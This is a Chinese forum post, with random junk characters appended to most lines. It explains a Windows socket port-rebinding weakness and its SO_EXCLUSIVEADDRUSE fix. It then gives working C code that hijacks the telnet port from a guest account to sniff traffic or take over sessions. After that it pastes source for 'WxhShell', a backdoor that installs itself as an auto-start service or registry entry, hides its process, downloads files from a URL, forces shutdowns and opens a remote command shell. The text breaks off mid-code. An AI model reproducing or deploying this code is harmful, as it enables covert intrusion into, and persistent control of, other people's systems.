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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .kBZ(`K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C$Y pk\p  
VTDp9s  
  saddr.sin_family = AF_INET; 5UFR^\e  
BjT0m k"P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1I#S?RSb  
7qyv.{+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;K'1dsA  
bd n{Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y=L9E?  
H:~41f[  
  这意味着什么?意味着可以进行如下的攻击: 8Nr,Wq  
q><E?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]FJpe^ ua  
^,Sl^ 9K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q( WE.ux)<  
K%Sy~6iD&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t=`bXBX1  
,{@,dw`lUz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~%6GF57gC  
Q%xvS,oI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $/sQatic  
Q k`yK|(0=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QfI)+pf  
\#bk$R@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6 u3$ .Q  
UTatcn  
  #include mkfU fG&  
  #include %"R|tlG  
  #include u&iMY3=  
  #include    # j_<iy  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P=)&]Pz  
  int main() ^#H%LLt  
  { 1U"Fk3  
  WORD wVersionRequested; pGZ I697  
  DWORD ret; t~xp&LQiY  
  WSADATA wsaData; J!Kk7 !^|  
  BOOL val; Y.O/~af  
  SOCKADDR_IN saddr; [!@&t:A  
  SOCKADDR_IN scaddr; zc QFIP  
  int err; NqsIMCl  
  SOCKET s; T)IH4UO  
  SOCKET sc; JRMe( ,u  
  int caddsize; B}= WxG|)  
  HANDLE mt; y<|vcg8x  
  DWORD tid;   9zj^\-FA_l  
  wVersionRequested = MAKEWORD( 2, 2 ); C+ B`A9  
  err = WSAStartup( wVersionRequested, &wsaData ); p;S<WJv k  
  if ( err != 0 ) { C~4$A/&(  
  printf("error!WSAStartup failed!\n"); 0Ywqv)gg  
  return -1; !6t ()]  
  } /f!CX|U  
  saddr.sin_family = AF_INET; K-$gTV  
   l \=M'D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \ 9T;-]  
OzFA>FK0f;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0Hz*L,Bh4  
  saddr.sin_port = htons(23); yqpb_h9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \W<r`t4v  
  { JrF\7*rh9  
  printf("error!socket failed!\n"); PvzB, 2":  
  return -1; <y+8\m  
  } qb+vptg@I  
  val = TRUE; Fe(qf>E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5feCA ,v7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R3]Ra&h6N)  
  { 0K -jF5i$`  
  printf("error!setsockopt failed!\n"); 3P1OyB  
  return -1; GS^U6Xef  
  } q%u;+/|l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u!([m; x|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 su~_l[6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L#'B-G4&y  
~!c~jcq]lZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ' LT6%<|  
  { UR~9*`Z ,  
  ret=GetLastError(); P)?)H]J"  
  printf("error!bind failed!\n"); anj*a<C<  
  return -1; [XA  f=x  
  } tqY)  
  listen(s,2); +zpmy3Q  
  while(1) 9/LI[{  
  { tlU&p'  
  caddsize = sizeof(scaddr); :@6,|2b e=  
  //接受连接请求 G]fl33_}l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lx<]v^  
  if(sc!=INVALID_SOCKET) tA+ c  
  { mZVYgJQ[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /cBQE=]6  
  if(mt==NULL) ]KMOLe6(  
  { hSmu"a,S  
  printf("Thread Creat Failed!\n"); _"8\k 7S*  
  break; 56Q9RU(M  
  } b {e nD  
  } 8=^o2&  
  CloseHandle(mt); $=8?@My<  
  } ?`Oh]2n)6  
  closesocket(s); jI$}\*g  
  WSACleanup(); n<;T BK  
  return 0; sF?N vp  
  }   v*Qr(4  
  DWORD WINAPI ClientThread(LPVOID lpParam) i[b?W$]7  
  { U @$Kp>X  
  SOCKET ss = (SOCKET)lpParam; gk+$CyjJ  
  SOCKET sc; Xp]tL3-p  
  unsigned char buf[4096]; *N"bn'>3  
  SOCKADDR_IN saddr; T,h,)|:I^  
  long num; P7n+@ L$  
  DWORD val; &Y2mLPB  
  DWORD ret; GI}h )T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pPcn F`A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <!h&h  
  saddr.sin_family = AF_INET; bdiyS.a-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o6^^hc\  
  saddr.sin_port = htons(23); "M*Pt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +>N/q(l  
  { B9;-Blh  
  printf("error!socket failed!\n"); UOrf wK  
  return -1; jP6;~[rl  
  } 36D-J)-Z  
  val = 100; ;|v6^2H"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X*Mw0;+T  
  { v>TI.;{y  
  ret = GetLastError(); dB7E&"f  
  return -1; D/_=rAl1  
  } sa8Sy&X"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]p~QdUR(  
  { C[:Q?LE  
  ret = GetLastError(); v~:$]a8  
  return -1; 3\6 UH  
  } J;Az0[qMR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #2c-@),  
  { O?omL5  
  printf("error!socket connect failed!\n"); ~:."BA  
  closesocket(sc); jyPY]r  
  closesocket(ss); (S+tQ2bt  
  return -1; >a98 H4  
  } SE+K"faKQ  
  while(1) : 0Nd4hA  
  { iulM8"P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 TL(L[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KYY~ YP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v2 [ l$  
  num = recv(ss,buf,4096,0); #;'1aT  
  if(num>0) _N~h#(  
  send(sc,buf,num,0); H"8+[.xBh  
  else if(num==0) kStWsc$;+T  
  break; ANh5-8y  
  num = recv(sc,buf,4096,0); >\b=bT@iM  
  if(num>0) 2s,wC!',  
  send(ss,buf,num,0); ( q^umw  
  else if(num==0) W`] ,  
  break; XA{ tVh  
  } hQrO8T?2  
  closesocket(ss); t#mW`rGE_  
  closesocket(sc); hqVx%4s*J  
  return 0 ; v4sc  
  } D,+I)-k<  
:g/HN9  
`zAo IQ  
========================================================== j3F[C:-zY  
@"T_W(i;BI  
下边附上一个代码,,WXhSHELL v"Bv\5f,Ys  
v`B7[B4K3  
========================================================== F(/^??<5  
Owalt4}C  
#include "stdafx.h" aX6.XHWbDf  
NL))!Pi  
#include <stdio.h> Zk2-U"0\o  
#include <string.h> VF=$'Bl|  
#include <windows.h> u2'xM0nQ  
#include <winsock2.h> >4=sEj  
#include <winsvc.h> zEJ|;oL  
#include <urlmon.h> r'fNQJ >  
X\\WQxj  
#pragma comment (lib, "Ws2_32.lib") ;<%~g8:XL  
#pragma comment (lib, "urlmon.lib") ,WbO8#z+  
mfLS< /A  
#define MAX_USER   100 // 最大客户端连接数 .EGZv (rz&  
#define BUF_SOCK   200 // sock buffer EKf"e*|(L  
#define KEY_BUFF   255 // 输入 buffer ^<xpp.eY  
\}t(g}7T  
#define REBOOT     0   // 重启 `bO+3Y'5  
#define SHUTDOWN   1   // 关机 JI5?, )-St  
^lB'7#7  
#define DEF_PORT   5000 // 监听端口 XXacWdh \  
#X7fs5$&  
#define REG_LEN     16   // 注册表键长度 &ZFsK c#  
#define SVC_LEN     80   // NT服务名长度 2#5SI  
<R}(UK  
// 从dll定义API [|V<e+>T/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q~]#x![u0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mY2 Ubn*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t)XNS!6#]?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gPY2Bnw;l  
D52ELr7  
// wxhshell配置信息 swuW6p  
struct WSCFG { OUn,URI  
  int ws_port;         // 监听端口 R@t?!`f!+  
  char ws_passstr[REG_LEN]; // 口令 y!fV+S,  
  int ws_autoins;       // 安装标记, 1=yes 0=no {PGNPxUbe  
  char ws_regname[REG_LEN]; // 注册表键名 <LQwH23@  
  char ws_svcname[REG_LEN]; // 服务名 R`Hyg4?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -uN5 DJSW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #)_4$<P*'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 & :x_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S/ ]2Qt#T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WcAX/<Y>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U$6N-q  
o6  
}; mZJ"e,AY  
hT9fqH  
// default Wxhshell configuration fLAOA9  
struct WSCFG wscfg={DEF_PORT, JC}y{R8  
    "xuhuanlingzhe", jR\&2;T  
    1, "zR+}  
    "Wxhshell", f$9V_j-K+  
    "Wxhshell", ?%(8RQ  
            "WxhShell Service", +mE y7qM  
    "Wrsky Windows CmdShell Service", OT{wqNI  
    "Please Input Your Password: ", ;OTD1=  
  1, ZffK];D  
  "http://www.wrsky.com/wxhshell.exe", 4&~1|B{Z  
  "Wxhshell.exe" CHv~H.kh'  
    }; z#GZvB/z)  
"n:z("Q*  
// 消息定义模块 [F%INl-sy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n  !]_o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QM`A74j0]\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ki{&,:@  
char *msg_ws_ext="\n\rExit."; Uaog_@2n,  
char *msg_ws_end="\n\rQuit."; 5Y)*-JY1g  
char *msg_ws_boot="\n\rReboot..."; B. 6gJ2c  
char *msg_ws_poff="\n\rShutdown..."; 2ksX6M3kY  
char *msg_ws_down="\n\rSave to "; IIUoB!`  
]wWN~G)2lV  
char *msg_ws_err="\n\rErr!"; U)=?3}s(  
char *msg_ws_ok="\n\rOK!"; C4&yC81Gm  
9a"[-B:  
char ExeFile[MAX_PATH]; WE 'afxgV  
int nUser = 0; ^aN;M\  
HANDLE handles[MAX_USER]; ?SRG;G1  
int OsIsNt; ko*Ir@SDv  
U-#wFc2N  
SERVICE_STATUS       serviceStatus; I0.{OJ-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7NV1w*> /  
6pM[.:TM   
// 函数声明 R8Nr3M9 )  
int Install(void); #GT/Q3{C  
int Uninstall(void); u)y6$  
int DownloadFile(char *sURL, SOCKET wsh); J,%v`A~ N  
int Boot(int flag); )8p FPr  
void HideProc(void); fB|rW~!v  
int GetOsVer(void); cU?A|'  
int Wxhshell(SOCKET wsl); |E&a3TQW  
void TalkWithClient(void *cs); sL75C|f9  
int CmdShell(SOCKET sock); ^C^FxIA&  
int StartFromService(void); 1|l'oTAA  
int StartWxhshell(LPSTR lpCmdLine); Y` Oz\W  
9lNO ~8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X zgJ@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <Qu]m.z[  
q+5g+9  
// 数据结构和表定义 _@;t^j+l  
SERVICE_TABLE_ENTRY DispatchTable[] = K[PH#dF5,x  
{ C:xg M'~+  
{wscfg.ws_svcname, NTServiceMain}, lt`(R*B%  
{NULL, NULL} a` A V  
}; QI'ule  
t J N;WK.6  
// 自我安装 /]=Ih  
int Install(void) v\PqhIy"  
{ A}?n.MAX>  
  char svExeFile[MAX_PATH]; x>d,\{U  
  HKEY key; zBtlkBPu  
  strcpy(svExeFile,ExeFile); P!3)-apP\  
H WOs   
// 如果是win9x系统,修改注册表设为自启动 DKnjmZ:J|  
if(!OsIsNt) { _TY9!:&}q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /J )MW{;O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A-Be}A  
  RegCloseKey(key); 3&:Us| }  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4qXO8T#~J=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $!%/Kk4M  
  RegCloseKey(key); o8;>E>;  
  return 0; fT.18{'>  
    } pyYm<dn  
  } ^0p y  
} dc.9:u*w  
else { C?m2R(RF  
w$8Su:g=  
// 如果是NT以上系统,安装为系统服务 bYQvh/(J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0F> ils  
if (schSCManager!=0) "c` $U]M%  
{ }7&.FV "  
  SC_HANDLE schService = CreateService W{:^P0l  
  ( Fv$5Zcf  
  schSCManager, &~)PB |  
  wscfg.ws_svcname, zrVw l\&  
  wscfg.ws_svcdisp, ,r^zDlS<q  
  SERVICE_ALL_ACCESS, FFX-kS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0=O(+ yi  
  SERVICE_AUTO_START, wd*8w$\  
  SERVICE_ERROR_NORMAL, +A%|.;  
  svExeFile, + 2 v6fan  
  NULL, 15dhr]8E  
  NULL, Yci>'$tQ  
  NULL, 'Dw+k;RH  
  NULL, F3+ ;2GG2  
  NULL 2-=Ov@y2k!  
  ); |`vwykhezO  
  if (schService!=0) 7niZ`doBA  
  { /iURP-rl  
  CloseServiceHandle(schService); kT)[<`p  
  CloseServiceHandle(schSCManager); V&)Jvx}^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v6=pV4k9  
  strcat(svExeFile,wscfg.ws_svcname); M|8vP53=q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4FrP%|%E~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8*o*?1.  
  RegCloseKey(key); GPV=(}z  
  return 0; &iKy  
    } =`Ii ?xo  
  } "i>?Tg^  
  CloseServiceHandle(schSCManager); l@:Tw.+/9  
} E$l4v>iA  
} #C^)W/dP  
@A32|p}  
return 1; fk%W0 7x!  
} 1OI/!!t1$  
.5$"qb ?  
// 自我卸载 J]G] <)  
int Uninstall(void) I<E~=  
{ ;IyA"C(i  
  HKEY key; En!X}Owh  
}@6Tcn1  
if(!OsIsNt) { D!7-(3R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lRA=IRQ]  
  RegDeleteValue(key,wscfg.ws_regname); V'b$P2 ?^  
  RegCloseKey(key); >^Rkk {cc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w{F{7X$^  
  RegDeleteValue(key,wscfg.ws_regname); rnAQwm-8O%  
  RegCloseKey(key); JR6r3W  
  return 0; fh%|6k?#M  
  } 4# +i\H`  
} WSEw:pln  
} )+Gw Yt  
else { ,f*Q3 S/I  
7b8+"5~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lo!^h]iE!  
if (schSCManager!=0) +G: CR,Z>+  
{ >lPWji'4;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M'gGoH}B+q  
  if (schService!=0) s#Ayl]8r  
  { zTBf.A;e7  
  if(DeleteService(schService)!=0) { f4'WT  
  CloseServiceHandle(schService); P;8nC:zL  
  CloseServiceHandle(schSCManager); e|-&h `[  
  return 0; I<+EXH%1,  
  } I9  (6  
  CloseServiceHandle(schService); i,V,0{$  
  } #jj+/>ZOi  
  CloseServiceHandle(schSCManager); `;j@v8n$*  
} HQkK8'\LP  
} nh XVc((  
jw5ldC>U  
return 1; 'G>$W+lT^  
} i0}f@pCB?X  
E .N@qMn~  
// 从指定url下载文件 X+2uM+  
int DownloadFile(char *sURL, SOCKET wsh) VW`SqUl  
{ WuuF &0?8C  
  HRESULT hr; B6kc9XG  
char seps[]= "/"; }INj~d<:  
char *token; TJ_Wze-lQ  
char *file; gpw,bV  
char myURL[MAX_PATH]; %6.WGuO  
char myFILE[MAX_PATH]; rdH3!  
m?O~(6k@C  
strcpy(myURL,sURL); .Gt_~x  
  token=strtok(myURL,seps); 6?(yMSKa  
  while(token!=NULL) 3N[Rrxe2  
  { Ce/l[v  
    file=token; 8bJj3vr  
  token=strtok(NULL,seps); % * k`z#b  
  } zq(4@S-TU  
*^oL$_Y  
GetCurrentDirectory(MAX_PATH,myFILE); Z% DJ{!Hnh  
strcat(myFILE, "\\"); @{>0v"@  
strcat(myFILE, file); pC~ M5(F_  
  send(wsh,myFILE,strlen(myFILE),0); 5>6:#.f%!e  
send(wsh,"...",3,0); : X}n[K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9Iu"DOxX%  
  if(hr==S_OK) .H@b zm  
return 0; Cs4ks`Z18  
else ~^TH5n  
return 1; JIiS/]KQ  
({3Ap{Q}  
} 1/f{1k  
lqTc6@:D  
// 系统电源模块 r2*8.j51  
int Boot(int flag) \,xa_zeO  
{ H+{@V B  
  HANDLE hToken; hd*GDjmRQ/  
  TOKEN_PRIVILEGES tkp; t6uYFxE  
ds2%i  
  if(OsIsNt) { >PzZt8e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pZcY[a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "Zfm4Nx "  
    tkp.PrivilegeCount = 1; 1xEFMHjy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \E=MV~:R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k|,Y_h0Y  
if(flag==REBOOT) { _\.4ofK(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ht:\ z;cu  
  return 0; dVs=*GEl9  
} O DEFs?%'  
else { ~&aULY?)]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PN3 Qxi4F  
  return 0; >0z`H|;  
} h,?%,GI  
  } OqWm5(u&S  
  else { YkFAu8b>  
if(flag==REBOOT) { I7wR[&L885  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jlA6~n  
  return 0; [Tl66Eyl  
} b "aF-,M>  
else { r+d+gO.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y/E:6w  
  return 0; DaQ+XUH?  
} jGi{:}`lB  
} 0l3[?YtXc  
$4mCtonP=  
return 1; Xj{gyLs  
} 80=LT-%#  
t`="2$NO  
// win9x进程隐藏模块 "IB36/9  
void HideProc(void) LZb<-vK"y  
{ 3%+!qm  
{P_i5V?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \%&A? D  
  if ( hKernel != NULL ) 0 *;i]owV  
  { {cUGksz]}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b}DC|?~M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gW<6dP'v  
    FreeLibrary(hKernel); otdRz<C  
  } z4 <_>)p  
Oi'y0S~ g  
return; R7"7 Rx   
} Ab]tLz|Z  
2i0;b|-=  
// 获取操作系统版本 !u'xdV+bf  
int GetOsVer(void) "F}dZ  
{ z#Fel/L`O  
  OSVERSIONINFO winfo; \vJ0Mhk1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S6}_N/;6~  
  GetVersionEx(&winfo); |{Ex)hkw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x|yJCs>  
  return 1; EjFn\|VK  
  else ",&QO 7_  
  return 0; Z;V(YK(WO.  
} {_-T!yb  
">G*hS  
// 客户端句柄模块 t=X=",)f  
int Wxhshell(SOCKET wsl) h=S7Z:IaM  
{ W+GC3W   
  SOCKET wsh; Vz$xV!  
  struct sockaddr_in client; ,p3]`MG  
  DWORD myID; I-/>M/66  
4Z>gK(  
  while(nUser<MAX_USER) Gh/nNwyu<  
{ #6 vf:94  
  int nSize=sizeof(client);  4pl\qf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5'NNwc\  
  if(wsh==INVALID_SOCKET) return 1; 1)^\R(l  
=.7tS'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EcL6lNTR+  
if(handles[nUser]==0) vQ* RrHG?c  
  closesocket(wsh); `kJ)E;v;3  
else Pjk2tf0j`  
  nUser++; ]E-3/r$_cO  
  } xxyc^\$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $cK}Tl q  
A yr ,  
  return 0; p3Qls*  
} U#c Gd\b  
'iF%mnJ  
// 关闭 socket f] #\&"  
void CloseIt(SOCKET wsh) u178vby;l  
{ Ovc9x\N  
closesocket(wsh); JH{/0x#+  
nUser--; -yB}(69  
ExitThread(0); y%ij)vQY  
} jhf# gdz%  
HA8A}d~  
// 客户端请求句柄 faDS!E' +  
void TalkWithClient(void *cs) NuPlrCy;  
{ 0uIY6e0E  
Y ~g\peG7  
  SOCKET wsh=(SOCKET)cs; jan}}7Dly  
  char pwd[SVC_LEN]; 41Z@_J|&  
  char cmd[KEY_BUFF]; *ma w`1  
char chr[1]; 5\# F5s}  
int i,j; iMJt8sd  
l99Lxgx=  
  while (nUser < MAX_USER) { >zqaV@T  
4/|x^Ky>G  
if(wscfg.ws_passstr) { BK%. wi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )M.s<Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x;)I%c  
  //ZeroMemory(pwd,KEY_BUFF); e,epKtL  
      i=0; VS/M@y_./  
  while(i<SVC_LEN) { W]#w4Fp!  
>STthPO  
  // 设置超时 u+Ix''Fn#%  
  fd_set FdRead; dkz% Y]  
  struct timeval TimeOut; +Ps.HW#NY  
  FD_ZERO(&FdRead); g%l ,a3"  
  FD_SET(wsh,&FdRead); 'o6}g p)  
  TimeOut.tv_sec=8; ",3v%$ >  
  TimeOut.tv_usec=0; I{OizBom  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nna.NU1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kW)3naUf<  
}ofb]_C,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g}v](Q  
  pwd=chr[0]; l<w7 \a6  
  if(chr[0]==0xd || chr[0]==0xa) { o[cOL^Xd1  
  pwd=0; La )M  
  break; 9tJ0O5  
  } #0r~/gW  
  i++; RbL?(  
    } ,Q56A#Y\  
@KK6JyOTQ  
  // 如果是非法用户,关闭 socket {/]2~!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R|8vdZ%@  
} 6&os`!  
{lWVH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m;~}}~&vQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a5pl/d  
vSR&>Q%X  
while(1) { $KbZ4bB[Bo  
4`Ud\Jm[s  
  ZeroMemory(cmd,KEY_BUFF); ?OFa Q  
3/`BK{  
      // 自动支持客户端 telnet标准   (p{%]M  
  j=0; 8In\Jo$|q>  
  while(j<KEY_BUFF) { |-x-CSN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n"htx|v  
  cmd[j]=chr[0]; OW@%H;b  
  if(chr[0]==0xa || chr[0]==0xd) { Jz` jN~  
  cmd[j]=0; dhtH&:J< ;  
  break; Q4m> 3I  
  } 4j=3'Z|  
  j++; M5h r0 R{  
    } IFTNr2I  
20V~?xs~  
  // 下载文件 Zu,:}+niU  
  if(strstr(cmd,"http://")) { %PYO9:n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :s_> y_=g  
  if(DownloadFile(cmd,wsh)) K>DN6{hnV;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cq!eAc  
  else FE\E%_K'n7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kw$ 7G1Q  
  } 4CF;>b f~  
  else { Ncz4LKzt  
#@B"E2F  
    switch(cmd[0]) { =\< 7+nv  
  _li3cXE  
  // 帮助 'hjEd.  
  case '?': { H ni^S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ML_VD*t9  
    break; euB1}M  
  } H7X-\K 1w  
  // 安装 $\BYN=#  
  case 'i': { Rlewp8?LB  
    if(Install()) <2U@O` gC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {KWVPeh  
    else G1z*e.+y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xj\ToO  
    break; :cC$1zv@  
    } Q]K` p(  
  // 卸载 ,,{;G'R|  
  case 'r': { ~A=zjkm  
    if(Uninstall()) gTho:;q7a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :ZXd%  
    else zvV&Hks-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F-/z@tM  
    break; m=01V5_  
    } lAU99(GXV  
  // 显示 wxhshell 所在路径 .nD#:86M  
  case 'p': { #-;c!<2  
    char svExeFile[MAX_PATH]; \C3I6Qx  
    strcpy(svExeFile,"\n\r"); XYo,5-  
      strcat(svExeFile,ExeFile); !kE5]<H\  
        send(wsh,svExeFile,strlen(svExeFile),0); 5!F;|*vC8  
    break; E%`J =C}  
    } p/<DR |  
  // 重启 ]lC%HlID  
  case 'b': { '3b\d:hN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &'z_:Wm  
    if(Boot(REBOOT)) UTkPA2x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LU:xmDv  
    else { ,R[$S"]!SH  
    closesocket(wsh); UGPDwgq\v  
    ExitThread(0); Vu5?;|^:  
    } FW|& iS$  
    break; u(f   
    } )aIcA  
  // 关机 OBAO(Ke  
